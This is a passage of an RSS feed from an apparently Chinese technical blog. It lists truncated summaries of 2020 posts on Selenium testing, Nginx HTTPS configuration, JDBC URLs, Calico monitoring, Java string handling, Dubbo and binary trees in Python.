function(point){ if (point) { myGeo.</description>
    </item>
    <item>
      <title>Java自动化测试(web自动化测试框架 28)</title>
      <link>https://bchobby.github.io/posts/360ee7267a4afaa0bd623288af5d6fd6/</link>
      <pubDate>Thu, 10 Sep 2020 21:48:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/360ee7267a4afaa0bd623288af5d6fd6/</guid>
      <description>测试数据 测试地址 http://120.78.128.25:8765/&#xA;投资人 13323234545&#xA;lemon123456&#xA;借款人 13323234444&#xA;lemonbest&#xA;后台地址 http://120.78.128.25:8765/Admin/Index/login.html&#xA;lemon7&#xA;lemonbest&#xA;Page Object PO简介 https://www.selenium.dev/documentation/en/guidelines_and_recommendations/page_object_models/&#xA;Page Object 是 Selenium 自动化测试项目开发实践的最佳设计模式之一，Page Object 的主要体现于对界面交互细节的封装，这样可以使测试案例更关注与业务而非界面细节，提高测试案例的可读性。&#xA;Page Object 设计模式的优点如下：&#xA;减少代码的重复；&#xA;提高测试用例的可读性；&#xA;提高测试用例的可维护性，特别是针对 UI 频繁变化的项目；&#xA;Paget Object 使用注意：&#xA;public方法代表Page提供的功能&#xA;尽量不要暴露Page的内部细节&#xA;不要assertion&#xA;方法可以返回其他Page Objects&#xA;Page Objects不用代表整个页面，可以是任意一个部分&#xA;一样的操作，不同的结果应该分开（正确登录，错误登录）&#xA;使用po是对页面进行抽象或者说建模的过程，需要把页面当作一个对象。&#xA;面向对象编程语言中，进行面向对象编程需要考虑以下两点：&#xA;对象的属性「全局变量」 == web页面的元素「定位方法，定位值」&#xA;对象的行为「方法」 == web页面的元素的操作&#xA;编写页面操作基类 package com.zhongxin.pages; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.support.ui.ExpectedConditions; import org.openqa.selenium.support.ui.WebDriverWait; public class BasePage { private WebDriver driver; public BasePage(WebDriver driver) { this.</description>
    </item>
    <item>
      <title>VMware Workstation 在此主机上不支持嵌套虚拟化。模块“MonitorMode”启动失败。未能启动虚拟机。</title>
      <link>https://bchobby.github.io/posts/39ebb29845595d3d932682411d6b1ce4/</link>
      <pubDate>Thu, 10 Sep 2020 21:01:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39ebb29845595d3d932682411d6b1ce4/</guid>
      <description>VMware Workstation 在此主机上不支持嵌套虚拟化。模块“MonitorMode”启动失败。未能启动虚拟机。&#xA;所遇问题：&#xA;原因分析：&#xA;得知VMware Workstation Pro 升级至15.5.6版本后，可以与Hyper-V兼容起来了。于是升级了。升级之后可以正常开启虚拟机。前几天，想试一试Windows沙盒，就是于是也安装起来了。测试安装成功。今天又再次打开了虚拟机，就报如上错误。VMware Workstation 在此主机上不支持嵌套虚拟化。，一提示到这个，我就想起来是可能是Hyper-V开启捣的鬼，百度了一大堆，有人说是windows电脑系统升级到2004版本的问题，需要重装系统之类的，也有人说是VMware 版本没有卸除干净，需要重装。额…怎么说呢，不想这么折腾。于是，下意识想到了，每次为什么要在内存那里选项中，开启虚拟化 Intel VT -x/RVI(V)呢，是不是现在windows兼容了，不需要在vm里开启虚拟化了。抱着试一试的心态，于是成功了。&#xA;成功。</description>
    </item>
    <item>
      <title>Nginx中配置https服务兼容访问http资源</title>
      <link>https://bchobby.github.io/posts/39a8b81238718bd5a790fac6a5f1178b/</link>
      <pubDate>Thu, 10 Sep 2020 14:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39a8b81238718bd5a790fac6a5f1178b/</guid>
      <description>Nginx中配置https服务兼容访问http资源 简介： HTTPS 是 HTTP over Secure Socket Layer，以安全为目标的 HTTP 通道，所以在 HTTPS 承载的页面上不允许出现 http 请求，一旦出现就是提示或报错：&#xA;Mixed Content: The page at ‘https://www.taobao.com/‘ was loaded over HTTPS, but requested an insecure image ‘http://g.alicdn.com/s.gif’. This content should also be served over HTTPS.&#xA;HTTPS改造之后，我们可以在很多页面中看到如下警报：&#xA;upgrade-insecure-requests CSP 指令的作用就是让浏览器自动升级请求，防止访问者访问不安全的内容。&#xA;该指令用于让浏览器自动升级请求从http到https,用于大量包含http资源的http网页直接升级到https而不会报错.简洁的来讲,就相当于在http和https之间起的一个过渡作用。&#xA;1、html强制让http的访问Https &amp;lt;meta http-equiv=&#34;Content-Security-Policy&#34; content=&#34;upgrade-insecure-requests&#34;/&amp;gt; 2、php强制让http的访问Https header(&#34;Content-Security-Policy: upgrade-insecure-requests&#34;); 3、nginx 强制让http的访问Https server { #HTTP_TO_HTTPS_END ssl_certificate /etc/letsencrypt/live/yogayx.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/yogayx.com/privkey.pem; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; add_header Content-Security-Policy &#34;</description>
    </item>
    <item>
      <title>判断丑数</title>
      <link>https://bchobby.github.io/posts/b201088d622820f9cc15e7e2877ad369/</link>
      <pubDate>Thu, 10 Sep 2020 11:41:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b201088d622820f9cc15e7e2877ad369/</guid>
      <description>丑数：只包含2,3,5一个或多个质因子的数 例如：14 不是丑数 python代码如下，判断一个数是否为丑数：&#xA;def isUglyNum(num): lst = [2, 3, 4] n = 0 if num &amp;lt;= 1: return 0 elif num in lst: print(&#39;{} is Ugly number&#39;.format(num)) else: for j in [2, 3, 5]: if num % j == 0: n += 1 if n == 0: print(&#39;{} is not Ugly number&#39;.format(num)) return False for i in range(5, num, 2): if i &amp;gt; 5 and num % i == 0: print(&#39;{} is not Ugly number&#39;.</description>
    </item>
    <item>
      <title>python两种方法实现线性规划</title>
      <link>https://bchobby.github.io/posts/8df61ef3c645c19f36e91d3f60fc19f1/</link>
      <pubDate>Wed, 09 Sep 2020 17:54:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8df61ef3c645c19f36e91d3f60fc19f1/</guid>
      <description>Python实现线性规划的计算 线性规划的目标函数既可以是求最大值，也可以是求最小值，约束条件可以是小于等于也可以是大于等于，但为了方便起见，MATLAB和python都规定线性规划标准型为：&#xA;z = m i n f T x , s . t . = { A ⋅ x ≤ b , A e q ⋅ x = b e q , l b ≤ x ≤ u b z=min\ \bm f^T\bm x,\\ s.t.= \begin{cases} \bm{A} \cdot \bm x \le\bm b,\\ Aeq \cdot \bm x=beq ,\\ lb\le \bm x \le ub \end{cases} z=min fTx,s.t.=⎩⎪⎨⎪⎧​A⋅x≤b,Aeq⋅x=beq,lb≤x≤ub​&#xA;转换为标准型的方法 目标函数 m a x → m i n max \rightarrow min max→min</description>
    </item>
    <item>
      <title>几种常见的数据库连接的URL写法</title>
      <link>https://bchobby.github.io/posts/6e7cde208aa067d9e42a05a243079b34/</link>
      <pubDate>Wed, 09 Sep 2020 17:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e7cde208aa067d9e42a05a243079b34/</guid>
      <description> 达梦云适配中心上线啦，可以在线玩数据库，在线玩sql，在线问问题~各位老表们快戳连接来玩吧：&#xA;https://eco.dameng.com/community/question&#xA;1 mysql 驱动：com.mysql.jdbc.Driver&#xA;URL：jdbc:mysql://machine_name:port/dbname&#xA;注：machine_name：数据库所在的机器的名称；&#xA;port：端口号，默认3306&#xA;2 oracle 驱动：oracle.jdbc.driver.OracleDriver&#xA;URL：jdbc:oracle:thin:@machine_name:port:dbname&#xA;注：ip：数据库所在的机器的名称；&#xA;port：端口号，默认是1521&#xA;3 SQL Server 驱动：com.microsoft.jdbc.sqlserver.SQLServerDriver&#xA;URL：jdbc:microsoft:sqlserver://&amp;lt;machine_name&amp;gt;&amp;lt;:port&amp;gt;;DatabaseName=&#xA;注：machine_name：数据库所在的机器的名称；&#xA;port：端口号，默认是1433&#xA;4 DB2 驱动：com.ibm.db2.jdbc.app.DB2Driver&#xA;URL：jdbc:db2://&amp;lt;machine_name&amp;gt;&amp;lt;:port&amp;gt;/dbname&#xA;注：machine_name：数据库所在的机器的名称；&#xA;port：端口号，默认是5000&#xA;5 dm(国产达梦) dataSource.username=SYSDBA&#xA;dataSource.password=SYSDBA&#xA;dataSource.databaseName=SYSDBA&#xA;dataSource.driverClassName=dm.jdbc.driver.DmDriver&#xA;dataSource.dialect=org.hibernate.dialect.DmDialect&#xA;dataSource.url=jdbc:dm://ip:5236/SYSDBA&#xA;dataSource.url=jdbc:dm://ip:5236/SYSDBA&#xA;O_O </description>
    </item>
    <item>
      <title>使用 Prometheus-Operator 监控 Calico(网络监控)</title>
      <link>https://bchobby.github.io/posts/0e525ecb5b900c3dfdd57844344bcd70/</link>
      <pubDate>Wed, 09 Sep 2020 14:48:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e525ecb5b900c3dfdd57844344bcd70/</guid>
      <description>使用 Prometheus-Operator 监控 Calico(网络监控) Calico 中最核心的组件就是 Felix，它负责设置路由表和 ACL 规则等，以便为该主机上的 endpoints 资源正常运行提供所需的网络连接。同时它还负责提供有关网络健康状况的数据（例如，报告配置其主机时发生的错误和问题），这些数据会被写入 etcd，以使其对网络中的其他组件和操作人员可见。&#xA;一、配置 Calico 以启用指标 默认情况下 Felix 的指标是被禁用的，必须通过命令行管理工具 calicoctl 手动更改 Felix 配置才能开启，需要提前配置好命令行管理工具。 1、下载管理工具&#xA;$ wget https://github.com/projectcalico/calicoctl/releases/download/v3.15.0/calicoctl -O /usr/local/bin/calicoctl $ chmod +x /usr/local/bin/calicoctl 2、接下来需要设置 calicoctl 配置文件（默认是 /etc/calico/calicoctl.cfg）。如果你的 Calico 后端存储使用的是 Kubernetes API，那么配置文件内容如下：&#xA;apiVersion: projectcalico.org/v3 kind: CalicoAPIConfig metadata: spec: datastoreType: &#34;kubernetes&#34; kubeconfig: &#34;/root/.kube/config&#34; 3、配置好了 calicoctl 之后就可以查看或修改 Calico 的配置了，先来看一下默认的 Felix 配置：&#xA;$ calicoctl get felixConfiguration default -o yaml 手动修改配置：&#xA;$ calicoctl patch felixConfiguration default --patch &#39;{&#34;</description>
    </item>
    <item>
      <title>关于mac 上传、下载linux服务器sftp命令</title>
      <link>https://bchobby.github.io/posts/ee94cb03ed42ca3e21b5f76c5c775f29/</link>
      <pubDate>Wed, 09 Sep 2020 11:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee94cb03ed42ca3e21b5f76c5c775f29/</guid>
      <description>二话不说，直接贴命令&#xA;root 是用户名&#xA;xxx.xx.x.xx 是ip地址&#xA;sftp root@xxx.xx.x.xx(ip地址)&#xA;连接进行输入密码即可执行：&#xA;上传：&#xA;Put 本地地址 线上地址&#xA;下载：&#xA;get 线上地址 本地地址</description>
    </item>
    <item>
      <title>JournalNode无法启动问题排查</title>
      <link>https://bchobby.github.io/posts/ec7c72e7768e09545878bc5214758d32/</link>
      <pubDate>Wed, 09 Sep 2020 10:35:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec7c72e7768e09545878bc5214758d32/</guid>
      <description>JournalNode无法启动问题排查&#xA;1.问题说明&#xA;1.1 JournalNode重新启动后又失败，一直重启不成功，经过观察，发现日志报错，经排查报错原因是编辑log损坏导致的&#xA;2018-05-28 16:06:07,896 WARN namenode.FSImage (EditLogFileInputStream.java:scanEditLog(359)) - Caught exception after scanning through 0 ops from /hadoop/hdfs/journal/DHTestCluster/current/edits_inprogress_0000000000019770365 while determining its valid length. Position was 1044480&#xA;java.io.IOException: Can’t scan a pre-transactional edit log.&#xA;at org.apache.hadoop.hdfs.server.namenode.FSEditLogOp L e g a c y R e a d e r . s c a n O p ( F S E d i t L o g O p . j a v a : 4974 ) a t o r g .</description>
    </item>
    <item>
      <title>linux离线安装gcc 和g&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/be16553cdca9415feaab1a43cb6a2369/</link>
      <pubDate>Tue, 08 Sep 2020 16:14:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be16553cdca9415feaab1a43cb6a2369/</guid>
      <description>1、先到有网的机器上下载依赖包 sudo yum install --downloadonly --downloaddir=/home/mjb/soft/gcc gcc&#xA;sudo yum install --downloadonly --downloaddir=/home/mjb/soft/g++ gcc-c++&#xA;2、把离线依赖包拷贝到无网机器上，分别切换到指定目录进行安装， 安装指令为&#xA;rpm -ivh *.rpm --nodeps --force&#xA;3.yum install glibc-devel</description>
    </item>
    <item>
      <title>Vitess本地安装</title>
      <link>https://bchobby.github.io/posts/23071a7af0e847dd250a881a9ce42b9c/</link>
      <pubDate>Tue, 08 Sep 2020 14:49:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23071a7af0e847dd250a881a9ce42b9c/</guid>
      <description>总览 IP&#xA;MySQL1MySQL2MySQL3vttabletvtctldvtgate 10.216.91.116&#xA;3308&#xA;3313&#xA;3314&#xA;vttablet_100,200,300,400&#xA;vtgate:15306&#xA;10.216.91.117&#xA;3308&#xA;3313&#xA;3314&#xA;vttablet_101,201,301,401&#xA;vtctld&#xA;vtgate:15306&#xA;10.216.91.118&#xA;3308&#xA;3313&#xA;3314&#xA;vttablet_102,202,302,402&#xA;vtgate:15306&#xA;10.216.91.117&#xA;zk1&#xA;10.216.91.118&#xA;zk2&#xA;10.216.91.119&#xA;zk3 安装vitess 下载解压vitess sudo mkdir /data/service/vitess sudo tar -xvzf vitess-6.0.20-20200818-90741b8.tar.gz -C /data/service/vitess --strip-components 1 sudo chown -R mysql.mysql /data/service/vitess 配置环境变量 vim /home/mysql/.bashrc export TOPO=zk2 export VTROOT=/data/service/vitess export VTTOP=$VTROOT #export MYSQL_FLAVOR=MySQL57 export VTDATAROOT=/data/service_data/vitess/vtdataroot export PATH=${VTROOT}/bin:${PATH} source /home/mysql/.bashrc&#xA;创建vtdataroot目录 sudo mkdir /data/service_data/vitess sudo chown -R mysql.</description>
    </item>
    <item>
      <title>利用ArrayList对map进行按key（键）和按value (值) 排序</title>
      <link>https://bchobby.github.io/posts/3351574fe9ae3952159c3ea98d5c9ebb/</link>
      <pubDate>Tue, 08 Sep 2020 14:07:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3351574fe9ae3952159c3ea98d5c9ebb/</guid>
      <description>利用ArrayList对map进行按key(键)和按value (值) 排序 使用比较器 ///&#xA;按key（键）排序 通过ArrayList将map.entrySet()，变成list&#xA;然后在类外写具体如何比较大小的方法compare()，最后调用&#xA;Collections.sort(list, new Comparator&amp;lt;Map.Entry&amp;lt;String, String&amp;gt;&amp;gt;()&#xA;import java.util.*; public class MapSort { public static void main(String[] args) { Map&amp;lt;String,String&amp;gt; map=new HashMap&amp;lt;&amp;gt;(); map.put(&#34;say&#34;,&#34;no&#34;); map.put(&#34;hash&#34;,&#34;baby&#34;); map.put(&#34;you&#34;,&#34;know&#34;); System.out.println(&#34;排序前&#34;); for (String s : map.keySet()) { System.out.println(s+&#34;:&#34;+map.get(s)); } //通过ArrayList构造函数将map.entrySet()转换成list List&amp;lt;Map.Entry&amp;lt;String,String&amp;gt;&amp;gt; list= new ArrayList&amp;lt;&amp;gt;(map.entrySet()); //通过比较器进行比较排序 Collections.sort(list, new Comparator&amp;lt;Map.Entry&amp;lt;String, String&amp;gt;&amp;gt;() { @Override public int compare(Map.Entry&amp;lt;String, String&amp;gt; entry1, Map.Entry&amp;lt;String, String&amp;gt; entry2) { //返回值为1，代表前面&amp;gt;后面，-1相反，0表示相等 return entry1.getKey().compareTo(entry2.getKey()); } }); //将排序后的结果打印出来 System.out.println(&#34;排序后:&#34;); for (Map.Entry&amp;lt;String, String&amp;gt; entry : list) { System.</description>
    </item>
    <item>
      <title>vivado 中的增量编译以及用法详解</title>
      <link>https://bchobby.github.io/posts/35c04d769c20a6b4bf75732ea7ec3817/</link>
      <pubDate>Tue, 08 Sep 2020 10:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35c04d769c20a6b4bf75732ea7ec3817/</guid>
      <description> 目录 详细内容如下： 1、增量编译是VIVADO中的一项技术，即Incremental Compile，它是是Vivado提供的一项高阶功能。目的旨在当设计微小的改变时，重用综合和布局布线的结果，缩短编译时间。&#xA;增量编译的流程如下所示：&#xA;增量编译需要已经编译完成的原始设计的dcp文件作为参考，当我们在原始设计上做微小的改动时，就可以使用增量编译的流程。这些改动包括：&#xA;- RTL代码的微小修改&#xA;- 网表的微小修改，比如增加或者改变ILA&#xA;在Vivado里面，使能IncrementalCompile的方式非常简洁，在Impl run上右键选择“Set Incremental Compile…”，然后设置相应的参考dcp文件即可，前提是工程已经实现过一次，已经有之前的网标作为对照参考&#xA;注意：&#xA;1. 当参考设计和当前设计的相似度大于95%的时候，最适合用增量编译技术&#xA;相似度低于75%时，工具会关闭增量编译&#xA;2. 有些时候，即使很小的RTL改动，也会造成网表的巨大差异。比如&#xA;a） 改变HDL中的某些全局常量&#xA;b） 增加总线的位宽&#xA;ISE和VIVADO中增量编译的使用：&#xA;vivado：&#xA;1、首先实现整个工程，生成实现后的网表；&#xA;2、按步骤打开：implementation setting——options——incremental compile，浏览文件，然后选择.runs / impl_1 / *.dcp&#xA;如下图所示：&#xA;3、对程序进行微小修改后再实现，可以看到时间有所减少；&#xA;ISE的增量编译步骤：&#xA;在ISE中主要使用SmartGuide来完成增量编译，这个是ISE中的全局优化选项，使能这个选项，编译器在Implementation时会比较前一次编译的Implementation结果，未修改部分则沿用前一次的结果，但是如果时序比较紧张，会根据情况重新实现相应未修改部分来达到时序要求。SmartGuide主要能缩短MAP和PAR的时间。&#xA;SmartGuide使用步骤如下：&#xA;右键top module，然后点击SmartGuide选项。&#xA;2.选择前一次的编译信息，其中NCD文件包含前一次设计的物理映射信息。&#xA;3.点击OK，使能SmartGuide。 </description>
    </item>
    <item>
      <title>js实现暂停(sleep)的方法</title>
      <link>https://bchobby.github.io/posts/092d6d861afaf3d6b19fbd45d1c1fb20/</link>
      <pubDate>Tue, 08 Sep 2020 09:43:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/092d6d861afaf3d6b19fbd45d1c1fb20/</guid>
      <description> js本身没有提供像java中的sleep这样的暂停方法，需要自己手动编写方法达到效果。&#xA;代码如下：&#xA;function sleep(d){ for(var t = Date.now();Date.now() - t &amp;lt;= d;); } sleep(5000); //暂停5秒 </description>
    </item>
    <item>
      <title>字节面试：dubbo的服务引用过程</title>
      <link>https://bchobby.github.io/posts/f25b2eb940ae63242a4f7780e65651ce/</link>
      <pubDate>Tue, 08 Sep 2020 09:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f25b2eb940ae63242a4f7780e65651ce/</guid>
      <description>点赞再看，养成习惯，微信搜一搜【三太子敖丙】关注这个喜欢写情怀的程序员。&#xA;本文 GitHub https://github.com/JavaFamily 已收录，有一线大厂面试完整考点、资料以及我的系列文章。&#xA;上篇文章我们已经了解了 Dubbo 服务暴露全过程，这篇文章我就带着大家再来看看 Dubbo 服务引入全流程，这篇服务引入写完下一篇就要来个全链路打通了，看看大家看完会不会有种任督二脉都被打通的感觉。&#xA;在写文章的过程中丙还发现官网的一点小问题，下文中会提到。&#xA;话不多说，咱们直接进入正题。&#xA;服务引用大致流程 我们已经得知 Provider将自己的服务暴露出来，注册到注册中心，而 Consumer无非就是通过一波操作从注册中心得知 Provider 的信息，然后自己封装一个调用类和 Provider 进行深入地交流。&#xA;而之前的文章我都已经提到在 Dubbo中一个可执行体就是 Invoker，所有调用都要向 Invoker 靠拢，因此可以推断出应该要先生成一个 Invoker，然后又因为框架需要往不侵入业务代码的方向发展，那我们的 Consumer 需要无感知的调用远程接口，因此需要搞个代理类，包装一下屏蔽底层的细节。&#xA;整体大致流程如下：&#xA;服务引入的时机 服务的引入和服务的暴露一样，也是通过 spring 自定义标签机制解析生成对应的 Bean，Provider Service 对应解析的是 ServiceBean 而 Consumer Reference 对应的是 ReferenceBean。&#xA;前面服务暴露的时机我们上篇文章分析过了，在 Spring 容器刷新完成之后开始暴露，而服务的引入时机有两种，第一种是饿汉式，第二种是懒汉式。&#xA;饿汉式是通过实现 Spring 的InitializingBean接口中的 afterPropertiesSet方法，容器通过调用 ReferenceBean的 afterPropertiesSet方法时引入服务。&#xA;懒汉式是只有当这个服务被注入到其他类中时启动引入流程，也就是说用到了才会开始服务引入。&#xA;默认情况下，Dubbo 使用懒汉式引入服务，如果需要使用饿汉式，可通过配置 dubbo:reference 的 init 属性开启。&#xA;我们可以看到 ReferenceBean还实现了FactoryBean接口，这里有个关于 Spring 的面试点我带大家分析一波。&#xA;BeanFactory 、FactoryBean、ObjectFactory 就是这三个玩意，我单独拿出来说一下，从字面上来看其实可以得知BeanFactory、ObjectFactory是个工厂而FactoryBean是个 Bean。&#xA;BeanFactory 其实就是 IOC 容器，有多种实现类我就不分析了，简单的说就是 Spring 里面的 Bean 都归它管，而FactoryBean也是 Bean 所以说也是归 BeanFactory 管理的。</description>
    </item>
    <item>
      <title>String中删除空格的7种方法！</title>
      <link>https://bchobby.github.io/posts/b5f93e4b2c5ebee381314adce80ba61e/</link>
      <pubDate>Tue, 08 Sep 2020 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5f93e4b2c5ebee381314adce80ba61e/</guid>
      <description>字符串，是Java中最常用的一个数据类型了。我们在日常开发时候会经常使用字符串做很多的操作。比如字符串的拼接、截断、替换等。&#xA;本文我们介绍一个比较常见又容易被忽略的一个操作，那就是移除字符串中的空格。&#xA;其实，在Java中从字符串中删除空格有很多不同的方法，如trim，replaceAll等。但是，在Java 11添加了一些新的功能，如strip、stripLeading、stripTrailing等。&#xA;大多数时候，我们只是使用trim方法来删除多余的空格。但是好像很多人并没有去思考过，是否有更好的方式呢？&#xA;当然，trim()在大多数情况下都工作得很好，但是Java中有许多不同的方法。每一种都有自己的优点和缺点。我们如何决定哪种方法最适合我们呢？&#xA;接下来我们将介绍几种方法，并对比下他们的区别和优缺点等。&#xA;在java中从字符串中删除空格的不同方法&#xA;首先，我们来看一下，想要从String中移除空格部分，有多少种方法，作者根据经验，总结了以下7种（JDK原生自带的方法，不包含第三方工具类库中的类似方法）：&#xA;trim() : 删除字符串开头和结尾的空格。&#xA;strip() : 删除字符串开头和结尾的空格。&#xA;stripLeading() : 只删除字符串开头的空格&#xA;stripTrailing() : 只删除字符串的结尾的空格&#xA;replace() : 用新字符替换所有目标字符&#xA;replaceAll() : 将所有匹配的字符替换为新字符。此方法将正则表达式作为输入，以标识需要替换的目标子字符串&#xA;replaceFirst() : 仅将目标子字符串的第一次出现的字符替换为新的字符串&#xA;需要注意的最重要的一点是，在Java中String对象是不可变的，这意味着我们不能修改字符串，因此以上所有的方法我们得到的都是一个新的字符串。&#xA;接下啦，我们分别针对以上这几个方法学习下用法，了解下其特性。&#xA;PS：本文代码都是使用在线运行工具（https://www.jdoodle.com/online-java-compiler/ ）执行的，因为我的测试机并未安装Java 11，并且Unicode字符也不完整。如果大家也想实验，建议使用在线工具，选择对应的JDK即可。&#xA;trim&#xA;trim()是Java开发人员最常用的删除字符串开头和结尾的空格方法。其用法也比较简单：&#xA;public class StringTest { public static void main(String[] args) { String stringWithSpace = &#34; Hollis Is A Java Coder &#34;; StringTest.trimTest(stringWithSpace); } private static void trimTest(String stringWithSpace){ System.out.println(&#34;Before trim : \&#39;&#34; + stringWithSpace + &#34;</description>
    </item>
    <item>
      <title>数据结构--知识点16--搜索算法(二叉树)</title>
      <link>https://bchobby.github.io/posts/5c88c2e0a03b56e58dfb314df0c87a8d/</link>
      <pubDate>Sun, 06 Sep 2020 22:37:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c88c2e0a03b56e58dfb314df0c87a8d/</guid>
      <description>文章目录 一、树的概念1、特点2、树的术语3、树的种类4、树的存储与表示5、常见的树的应用场景 二、二叉树1、概念2、性质3、python实现二叉树的构建4、二叉树的广度遍历5、深度优先搜索6、由遍历确定一棵树 一、树的概念 树是一种抽象数据类型(ADT)或是视作这种抽象数据类型的数据结构&#xA;1、特点 每个节点有零个或多个子节点没有父节点的节点称为根节点每一个非根节点有且只有一个父节点除了根节点外，每个子节点可以分为**多个不相交(因为都只有一个父节点)**的子树 2、树的术语 节点的度：一个节点含有的子树的个数称为该节点的度树的度：一棵树中，最大的节点的度称为树的度叶节点或终端节点：度为零的节点父亲节点或父节点：若一个节点含有子节点，则这个节点称为其子节点的父节点孩子节点或子节点：一个节点含有的子树的根节点称为该节点的子节点兄弟节点：具有相同父节点的节点互称为兄弟节点节点的层次：从根节点开始定义，根为第一层，根的子节点为第二层，以此类推树的高度或深度：树中节点的最大层次堂兄弟节点：父节点在同一层的节点互为堂兄弟节点的祖先：从根到该节点所经分支上的所有结点子孙：以某节点为根的子树中任一结点都称为该节点的子孙森林：由m(m&amp;gt;=0)棵互不相交的树的集合称为森林 3、树的种类 无序树：树中任意节点的子节点之间没有顺序关系，这种树称为无序树，也称为自由树有序树：树中任意节点的子节点之间有顺序关系，这种树称为有序树 二叉树：每个节点最多含有两个子树的树称为二叉树 完全二叉树：对于一颗二叉树，假设其深度为d(d&amp;gt;1).除了第d层外，其他各层的节点数目均已达到最大值，且第d层所有节点从左向右连续的紧密排列，这样的二叉树被称为完全二叉树，其中满二叉树的定义是所有叶节点都在最底层的完全二叉树平衡二叉树（AVL树）：当且仅当任何节点的两棵子树的高度差不大于1的二叉树排序二叉树（二叉查找树，也称二叉搜索树、有序二叉树）： 霍夫曼树（用于信息编码）：带权路径最短的二叉树称为哈夫曼树或最优二叉树B树：一种对读写操作进行优化的自平衡的二叉查找树，能够保持数据有序，拥有多余两个子树 4、树的存储与表示 顺序存储：将数据结构存储在固定的数组中，在遍历速度上有一定的优势，但因所占空间比较大，是非主流二叉树。二叉树通常以链式存储&#xA;链式存储：可以存储，但是子节点个数无法掌握，因此通常把多叉树转换为二叉树，子节点个数最多为2&#xA;5、常见的树的应用场景 xml,html等&#xA;路由协议使用了树的算法MySQL数据库索引文件系统的目录结构很多经典的AI算法，机器学习中的decision tree 二、二叉树 1、概念 二叉树是每个节点最多有两个子树的树结构，通常子树被称作‘左子树’和‘右子树’&#xA;2、性质 在二叉树的第i层上至多有2(i-1)个节点，i&amp;gt;0深度为k的二叉树至多有2k-1个节点，k&amp;gt;0对于任意一棵二叉树，如果其叶节点树为N0，而度数为2的节点总数为N2，则N0=N2+1具有n个节点的完全二叉树的深度必为log2(n+1)对完全二叉树，若从上至下、从左至右编号，则编号为i的节点，其左孩子编号必为2i，其右孩子编号必为2i+1，其双亲的编号必为i/2(i=1时为根，除外) 3、python实现二叉树的构建 # 定义节点 class Node(object): def __init__(self,item): self.elem=item self.lchild=Node self.rchild=Node # 构建树 class Tree(object): # 二叉树 def __init__(self): self.root=None def add(self,item): node=Node(item) if self.root is None: self.root=node return # 因为要将新节点插入树中，树上的元素可以按照队列的方式操作， # 那么就在树中构建一个队列，先遍历元素，然后再将元素放入队列，再进行元素的添加删除等 # 通过队列的方式查找新节点应该放在哪里 # queue=[] queue.append(self.root) # 先将根节点放入队列中 queue=[self.root] # 每次取出的元素都进行相同的操作，直到队列中无元素 # 这里使用列表的逻辑值判断，若为空返回False,只要有元素就返回True,即使是None while queue: # 创建一个游标从根节点开始遍历,此时队列中只有一个刚放进去的根节点，因此弹出的就是根节点 cur_node=queue.</description>
    </item>
    <item>
      <title>初学者如何准备开始学习Python-1 (中/英原版)</title>
      <link>https://bchobby.github.io/posts/a9547d8ca317ec7e4163fb9fc16e97e1/</link>
      <pubDate>Sun, 06 Sep 2020 19:56:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9547d8ca317ec7e4163fb9fc16e97e1/</guid>
      <description>0.1 Python 2 or Python 3 (Python 2 与 Python 3 的区别) (序一)&#xA;The print statement has become the print function. What this means is that this line in Python 2: print &#34;hello world&#34;&#xA;is as follows in Python 3: print(&#34;hello world”)&#xA;The raw_input function has also changed to input, so instead of: raw_input(&#39;What is your name?’)&#xA;you will see: input(&#39;What is your name?’)&#xA;The only other significant change is how Python handles various character sets.</description>
    </item>
    <item>
      <title>js的多图片上传控件</title>
      <link>https://bchobby.github.io/posts/6c9453c2bb49f5583e65257ec99140d3/</link>
      <pubDate>Sun, 06 Sep 2020 16:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c9453c2bb49f5583e65257ec99140d3/</guid>
      <description>git地址：https://github.com/cuuuuuirz/cupload&#xA;应该是一个国产，非常好用的一个控件，而且很美观。&#xA;基于原生js的图片上传插件。支持预览、像素限制、大小限制、多图上传、放大预览、异步上传、编辑初始化图片.&#xA;该方法将图片转为base64格式存到了input中，用户只要使用普通form表单直接提交即可，其中 name参数可以设置提交的input的name值，后台接收form表单的参数后，该图片数据格式为数组，只要循环将base64数据转为图片存到本地即可。&#xA;效果如下：&#xA;步骤如下：&#xA;1、引入js&#xA;&amp;lt;script src=&#34;static/js/cupload.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 2、在需要的位置添加html，id可以自定义：&#xA;&amp;lt;div id=&#34;cupload&#34;&amp;gt;&amp;lt;/div&amp;gt; 3、实例化cupload对象：&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var cupload = new Cupload ({ ele: &#34;#cupload&#34; }); &amp;lt;/script&amp;gt; 可选参数&#xA;//为方便比较和计算,部分参数为number型,已设置默认单位,不可再带单位。&#xA;{ ele&#x9;: &#34;#cupload&#34;,&#x9;// 实例化的DOM对象id,必需,默认为cupload name&#x9;: &#34;image&#34;,&#x9;// 图片input的name名,非必需,默认为image num&#x9;: 1,&#x9;// 可上传图片的数量,非必需,默认为1 url&#x9;: &#34;./upload.php&#34;, //异步上传url width&#x9;: 148,&#x9;// 预览框的宽,单位为px,非必需,默认为148 